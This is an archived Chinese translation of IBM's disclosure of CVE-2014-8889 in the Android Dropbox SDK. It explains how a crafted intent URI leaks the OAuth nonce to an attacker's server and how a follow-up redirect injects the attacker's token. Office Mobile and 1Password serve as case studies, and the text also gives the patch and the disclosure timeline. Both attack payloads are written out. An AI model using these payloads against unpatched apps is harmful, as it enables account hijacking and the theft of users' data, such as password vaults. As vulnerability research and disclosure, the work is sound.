# Android DropBox SDK漏洞（CVE-2014-8889）分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-03-16T06:17:00Z
Canonical: https://wepostx.com/topics/750

> 乌云历史资料归档
>
> **原始作者：** 小荷才露尖尖角
> **原始编号：** superkieran-wooyundrops:504
> **原始发布时间：** 2015-03-16 14:17
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

本文是对IBM ISS安全团队对DropBox SDK漏洞详细分析的翻译。
原文见[http://www.slideshare.net/ibmsecurity/remote-exploitation-of-the-dropbox-sdk-for-android](http://www.slideshare.net/ibmsecurity/remote-exploitation-of-the-dropbox-sdk-for-android)
如今个人数据存储在云端，这使得像照片备份或通用存储那样的服务不仅可以被用户访问，也能被代表用户的app所访问。在许多方面，包括访问控制功能的app与服务之间的互操作总是具有挑战性的，为了解决访问控制来来的挑战，OAuth1和2等授权协议陆续被提出，它们可以安全地授予app访问特定服务中个人数据的权限，而又不泄露用户的个人凭据。为便于开发，这些服务通常为app提供一个框架或SDK，使app能够和服务进行通信。对于app开发者而言，SDK是具有吸引力的，因为其对内部细节进行了抽象，给开发者提供了简单的客户端API。从安全的角度来看，SDK则提供了极具吸引力的攻击面，因为其一旦出现可供利用的漏洞，可以影响大量使用该SDK的app。
本文介绍了Android Dropbox SDK 1.5.4-1.6.1版本中存在的一个严重漏洞（CVE-2014-8889），该漏洞使基于Dropbox SDK的app暴露于严重的本地和远程攻击。作为概念证明（POC），我们开发了针对包括Microsoft Office Mobile和1Password等流行app的远程攻击程序。我们负责任地将该漏洞报告给了Dropbox，Dropbox也及时提供了一个修复的SDK（1.6.2版）。在此，强烈建议开发者下载SDK并更新其app。

# 0x01 背景

Dropbox SDK是一个供开发者下载并用于其产品的库，它通过一组简单的API，提供了轻松使用Dropbox服务，如下载或上传文件等功能。
AppBrain的统计数据表明了在Android中使用Dropbox SDK的流行程度[1 ]，在全部应用中，有0.31%使用了Dropbox SDK。而在Google Play前500的应用中，1.41%使用了Dropbox SDK。有趣的是，按照安装量统计，分别有总量的1.32%和前500应用安装量的3.93%使用了Dropbox SDK。
尽管Dropbox SDK不是一个高度流行的基础软件库，某些非常流行的Android app仍然使用Dropbox SDK持有敏感数据，包括拥有10,000,000下载量的[Microsoft Office Mobile](https:// https://play.google.com/store/apps/details?id=com.microsoft.office.officehub)，以及拥有100,000下载量的[AgileBits 1Password](https://play.google.com/store/apps/details?id=com.agilebits.onepassword)。
我们发现的这一漏洞影响使用Dropbox SDK 1.5.4-1.6.1版的所有Android app。我们分析了使用Android Dropbox SDK的41个app(它们使用了1.5.4-1.6.1版)，其中有31个app(76%)能够被攻击成功）。需要注明的是，其余app仍然具有漏洞，可以被造成同样后果的更加简单的攻击所利用，只不过这些app没有升级到修复漏洞的1.5.4版1。
本文结构如下，第二章介绍了Android中跨应用通信（IAC）的背景，第三章介绍了IAC如何被恶意代码本地利用和远程drive-by攻击利用的技术，第四章描述了Dropbox SDK如何使用OAuth为Android app提供授权，第五章深入分析我们所发现的Android Dropbox SDK用于OAuth代码中的漏洞，第六章描述了我们称之为DROPPEDIN的利用该漏洞的真实攻击，第七章我们提供了反映真实威胁的案例，最后在第八章中我们提供了该漏洞的修复建议。

# 0x02 Android中的跨应用通信（IAC）

Android应用在沙箱环境中执行，沙箱确保应用数据的机密性和完整性，如果没有配置适当的权限，某一应用无法访问其他应用中的敏感信息。例如，Android Stock浏览器中的敏感信息，如cookie、缓存和历史记录，不会被第三方的app所访问。沙箱机制依赖于多种技术，包括基于应用的Linux user-id分配，因此在默认情况下，某一应用的资源（如文件），不会被其他应用所访问。尽管沙箱机制有利于安全，对于有时在app之间需要通信的场合，也牺牲了部分互操作性。回到前述Stock浏览器的例子，当用户使用浏览器访问到Google Play网址时，可能需要打开Google Play app，为了支持这种类型的互操作，Android提供了一种高层的跨应用通信（IAC）机制，通常使用了封装有关载荷和目标应用组件的信息、被称之为Intent的特殊消息。Intent可以是显式指定，此时必须明确指定目标应用组件，也可以隐式指定，此时目标应用无需明确指定，而由Android系统根据Intent参数中的URI scheme、action或category决定。

# 0x03 利用跨应用通信的攻击

如果攻击者可以控制Intent载荷，直接启动应用组件，那么攻击面将被拓宽，特别对于处于导出（exported）状态的应用组件。这些导出的一个用组件易于遭受恶意应用的本地攻击。负责UI屏幕的Android组件Activity也可以遭受远程的drive-by攻击技术，见[2,3]。
在本地攻击中，如图3.1所示，恶意应用通过恶意Intent(即包含恶意数据)启动导出的目标应用，这只需要简单的调用API，如Context.startActivity(intent)

![原文图片](/media/2016/06/5aea651db298b333b6d786072ce2e3c5)

图3.1 恶意应用的本地攻击
而在图3.2所示的远程drive-by攻击中，用户被欺骗浏览恶意网址，恶意网址的网页使浏览器发送恶意Intent，启动目标activity。2

![原文图片](/media/2016/06/bac2d0ee2b81e0530577ae68b9416b19)

图3.2 远程Drive-by攻击

# 0x04 OAuth与Dropbox

为了授权app使用一个指定的Dropbox账号，Dropbox SDK使用了OAuth协议，这个过程始于app在Dropbox网站的带外注册，接着app就可以从Dropbox收到app key和app secret，并将其硬编码于代码中。
然后app将在Android Manifest文件中导出Dropbox使用的AuthActivity,如下所示。

```text
#!html <activity android:name="com.dropbox.client2.android.AuthActivity" ...> <intent-filter> <data android:scheme="db-<APP_KEY >" /> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.BROWSABLE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity>
```
图4.1描述了Dropbox OAuth协议各方及通信过程，这一过程首先开始于app携带必须的数据（即app key和app secret）调用Dropbox SDK AndroidAuthSession中的静态方法start{OAuth2}Authentication,该方法使用一个Intent启动AuthActivity，接着AuthActivity产生一个nonce随机数，并再次通过一个Intent启动浏览器或者Dropbox app(如果已安装)，对用户进行认证和对app进行授权。这一过程将使用到前面产生的nonce。浏览器或者Dropbox app将利用指向app唯一URI scheme(db-)的隐式Intent,返回携带附加数据（如uid）的access token、secret和nonce。这将导致AuthAcitivity的OnNewIntent方法被调用，该方法会检查输入的nonce是否与输出的nonce一致。如果一致，它将接受token，并存储于其result静态变量中。token将在Dropbox会话中保存，用于接下来的Dropbox SDK调用。

![原文图片](/media/2016/06/0e53083a47772ea94607fb1e75dd7c7f)
 图4.1 Dropbox OAuth认证
该过程存在两个主要的威胁。首先，返回的OAuth access token可能被窃取，这将允许攻击者访问授权的Dropbox资源。恶意应用通过注册类似的Intent filter，就可以假冒app实施这种攻击。然而由于Dropbox SDK可以检查是否有别的应用注册相同的Intent filter，因此这种威胁带来的风险就已经缓解了。其次，攻击者可以注入自己的access token，这将导致app连接到攻击者的账户，从而在非授权的情况下上传敏感数据给攻击者，或者下载数据以进一步实施其他的攻击。由于nonce 参数的存在（在1.5.4版中引入），这种威胁带来的风险也已经缓解。然而，具体实现仍然存在一个漏洞，攻击者可以主动地令Dropbox SDK泄露nonce参数到攻击者控制的服务器，我们将在下一章中予以叙述。

# 0x05 漏洞分析

我们发现的一个漏洞，被标识为CVE-2014-8889，使攻击者可以在Dropbox SDK的AuthActivity中注入一个任意的access token，完全绕过nonce的保护。
AuthAcitivity接受几种不同的Intent extra参数，作为一个exported和browasable的activity（如第四章所述，必须），它可以被携带任意Intent extra参数（见第三章）的本地恶意应用和远程恶意网站所启动，因此在使用这些Intent extra参数时必须格外小心。
然而，一个名为INTERNAL_WEB_HOST的Intent extra参数却可以被攻击者所控制，从而带来破坏性的影响。当浏览器用于认证用户和授权app使用时（Dropbox app未安装的情况），这个参数最终控制了用户浏览器访问的地址，如附录A，startWebAuth方法被AuthActivity的OnResume回调方法（在Intent启动Activity后调用）所调用。因此，如果攻击者可以针对该activity生成一个Intent，并将其INTERNAL_WEB_HOST extra指向自己控制的服务器，那么在认证过程中的nonce将发送给攻击者的服务器！

# 0x06 DROPPEDIN 攻击

对本地和远程（drive-by）攻击，我们都予以了实现。这两种攻击都要求被攻击设备不能安装Dropbox app，并要求攻击者预先以一种带外的方式获得access token（ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET），以及与其账户和被攻击app相关的uid。这一步很容易，因为攻击者可以简单地下载被攻击app到自己的设备上，授权自己的Dropbox账号使用，并记录返回的access token对。如图6.1，远程攻击分四个步骤，本地攻击也与此类似，但要求被攻击设备上安装恶意应用。

![原文图片](/media/2016/06/c82bbb0faba03abdcc77c0d9a2d35062)
 图6.1 Droppedin 攻击

## 6.1 自然的网页浏览

受害者访问了攻击者完全控制的恶意网站，或者被攻击者利用漏洞（如XSS）植入恶意代码的网站。

## 6.2 主动的Nonce泄露

恶意代码携带特别的Intent参数，使用户的浏览器启动被攻击的app，并使随后的OAuth过程与攻击者所控制的服务器间进行，而不是正常的https://www.dropbox.com。这一步骤使攻击者获得nonce。通过简单的HTTP重定向到以下代码就可以实现： Intent:#Intent;scheme=db-<APP_KEY>; S.EXTRA_INTERNAL_WEB_HOST=; S.EXTRA_INTERNAL_APP_KEY=foo; S.EXTRA_INTERNAL_APP_SECRET=bar; end
截至本文写作时，大多数的流行浏览器都支持上述这种Intent URI scheme机制的隐式Intent。

## 6.3 Auth Access Token注入

上述Intent将最终使浏览器访问https://attacker:443/1/connect（并在GET参数中携带nonce），这要求攻击者拥有自己的SSL证书，但这也很容易。获取nonce后，攻击者就可以通过另一个HTTP重定向到以下代码，注入自己预先产生的access token到app中。

```text
db-<APP_KEY>://1/connect?oauth_token_secret=<ACCESS_TOKEN_SECRET> &oauth_token=<ACCESS_TOKEN_KEY> &uid=<UID> &state=<NONCE>
```
如果access token被成功注入，将保存在AuthActivity.result中。

## 6.4 App使用OAuth Access Token

至此，AuthActivity的静态成员变量result就包含了攻击者的token。其余就是被攻击app如何使用这些数据了，这取决于开发者。
不排除有别的情况存在，但总体而言，客户端（app）代码将在其中一个Activity的onCreate方法或者在用户点击某些按钮时发起认证过程。接下来就是检查认证是否成功，并在其onResume方法中将token用于Dropbox会话。
攻击得以成功关键的一点在于，onCreate和onResume方法依次调用（见[4,6]）。这表明，攻击者一旦在app的activity呈现之前注入他的access token，这个access token就会在用户输入自己的凭据之前使用，见第7章的具体案例分析。

# 0x07 案例研究

### 7.1 Mircrosoft Office Mobile：注入并添加新的连接 3

Microsoft Office Mobile app允许用户将自己的文档上传至云中，且支持多个Dropbox账户。
在该案例中，正常情况下下列步骤将按如下顺序执行：
1.用户添加Dropbox账号，这将启动负责Dropbox认证的activity。 2.activity的onCreate方法调用SDK AndroidAuthSession中的startOAuth2Authentication方法。 3.接着调用acitivity的onResume方法，通过AndroidAuthSession的authenticationSuccessful方法检查认证是否成功，后者返回一个负值。 4.用户通过浏览器登录Dropbox认证，并授权app使用自己的账户。 5.activity的onResume方法再次调用，此时authenticationSuccessful将返回正值。token将从AuthActivity拷贝到session对象，供app使用。通过调用Activity.finish方法销毁activity. 6.账户被添加到app中。
该过程可遭受如下的攻击。在第一步之前，攻击者通过漏洞注入自己的token。用户接着添加一个新的Dropbox账号，正常情况下他将被引到Dropbox的官网，然而第三步在可以在未经用户同意的情况下在后台发生，authentication方法将调用成功，攻击者的token被拷贝到session对象，然后activity被销毁，甚至都第五步都不会进行。因此，即使用户输入的是自己的认证凭据，却使用了攻击者的token，使攻击无缝发生。

## 7.2 1Password: 在初次连接之前注入

1Password app属于口令管理app（如KeyPass），使用Dropbox SDK将用户的vault（密钥库）同步至Dropbox。该app支持使用一个Dropbox账号将本地的密钥库同步至Dropbox。将密钥库上传给攻击者的账号将带来灾难性的影响——攻击者可以进行离线破解，如果使用弱的主保护口令（这仍然是一个常见问题 [5,7]），攻击者可以在可行的时间内破解成功。此外，为了获得主保护口令，攻击者还可以实施钓鱼攻击。
与7.1节类似，当用户决定同步时如下步骤按序发生：
1.用户点击“同步到Dropbox”按钮，启动负责Dropbox认证的activity。 2.activity的onCreate方法通过AndroidAuthSession.isLinked()方法检查自己是否被连接。如果没有，则调用AndroidAuthSession的startAuthentication方法。
3.接着调用activity的onResume方法，并再次调用AndroidAuthSession.isLinked()。如果返回false，则通过AnroidAuthSession.authenticationSucessful()方法检查认证是否成功，后者将返回一个负值。
4.用户通过浏览器登录Dropbox认证，并授权app使用自己的账户。
5.activity的onResume方法被调用，AndroidAuthSession.isLinked()再次返回false。然而，此时authenticationSuccessful()方法将返回一个正值。app接着调用finishAuthentication将token拷贝到session对象（这将导致isLinked方法返回true），于是app使用该token。
6.同步过程开始。
该过程可遭受如下的攻击。在第一步之前，攻击者可以利用漏洞注入自己的token。用户接着同步自己的账户，正常情况下他将被引到Dropbox的官网，然而第三步在可以在未经用户同意的情况下在后台发生，authentication方法将调用成功，攻击者的token被拷贝到session对象，导致第五步的isLinked方法返回true。因此，即使用户输入的是自己的认证凭据，却使用了攻击者的token，使攻击无缝发生。

## 7.3 DBRoulette: 注入并再次连接

DBRoulette app与Dropbox SDK打包在一起，作为一个示例应用。它是一个具有基本功能的app，对用户进行认证，并从用户的Dropbox照片文件夹中随机加载一张照片。在主activity DBRoulette中，onResume方法只是简单的覆盖预先存储的认证凭据，这意味着即使Dropbox账号已经连接到DBRoulette，攻击者的账号仍然可以使用。此外，DBRoulette调用Dropbox SDK认证方法的代码位于一个导出的activity中，攻击者可以启动该activity，从而实施完全自动化的攻击。图7.1描述了一次成功的攻击，攻击者账号中的本文作者手指照片，而非受害用户自己的照片，出现在DBRoulette中。

![原文图片](/media/2016/06/937d1cb044c717d640e236e162e146a2)
 图7.1 被攻击的DBRoulette

# 0x08 修复

Android Dropbox SDK 1.6.2版已经发布，包含了对该漏洞的修补。Dropbox SDK的AuthActivity方法也不再接受输入Intent的extra参数，这就使攻击者无法通过可控的Dropbox SDK通信的服务器地址来获得nonce。强烈建议开发者将其使用的Dropbox SDK更新到最新版本。为了避免没有更新SDK的app被该漏洞利用，终端用户可以安装Dropbox app使攻击失效。

# 0x09 披露时间

```text
2014.12.1 - 漏洞报告给厂商。 2014.12.1 - 厂商确认，开始编写补丁。 2014.12.5 - 补丁可用（Android Dropbox SDK 1.6.2版） 2015.3.11 - 公开披露。
```

# 0x10 致谢

Dropbox对安全威胁的响应令人印象深刻，我们向Dropbox报告了该问题，仅仅在6分钟后就得到了回应，24小时之内漏洞得到了确认，4天后补丁可用。我们感谢Dropbox团队，这是我们所见到过的最快补丁，无疑他们对于用户的安全是负责任的。

## 参考文献

1.AppBrain. Dropbox API - Android library statistics. http://www.appbrain.com/stats/libraries/ details/dropbox_api/dropbox-api.
2.Takeshi Terada. Attacking Android browsers via intent scheme URLs. 2014. http://www.mbsd.jp/ Whitepaper/IntentScheme.pdf.
3.Roee Hay & David Kaplan. Remote exploitation of the cordova framework. 2014. http://www. slideshare.net/ibmsecurity/remote-exploitation-of-the-cordova-framework.
4.Android. Activity. http://developer.android.com/reference/android/app/Activity.html.
5.Trustwave. 2014 business password analysis, 2014. https://gsr.trustwave.com/topics/ business-password-analysis/2014-business-password-analysis/.

## 附录A：具有漏洞的Dropbox SDK 代码

code:

```text
protected void onCreate(Bundle savedInstanceState) { ... Intent intent = getIntent(); ... webHost = intent.getStringExtra(EXTRA\_INTERNAL\_WEB\_HOST); if (null == webHost) { webHost = DEFAULT\_WEB_HOST; } ... } protected void onResume() { ... String state = createStateNonce(); ... if (hasDropboxApp(officialIntent)) { startActivity(officialIntent); } else { startWebAuth(state); } ... authStateNonce = state; } private void startWebAuth(String state) { String path = "/connect"; Locale locale = Locale.getDefault(); String[] params = { "locale", locale.getLanguage()+"_"+locale.getCountry(), "k", appKey, "s", getConsumerSig(), "api", apiType, "state", state}; String url = RESTUtility.buildURL(webHost, DropboxAPI.VERSION, path, params); Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); startActivity(intent); }
```

- 从上下文来看，这一漏洞不是指本文分析的CVE-2014-8889 ↩

- 这种攻击技术参见[Intent scheme URL attack](http://drops.wooyun.org/papers/2893) ↩

- 从文中内容看，作者使用Link（连接）这一术语说明app与某一Dropbox账号建立关系，即app使用该账号访问Dropbox的服务。 ↩

## Replies
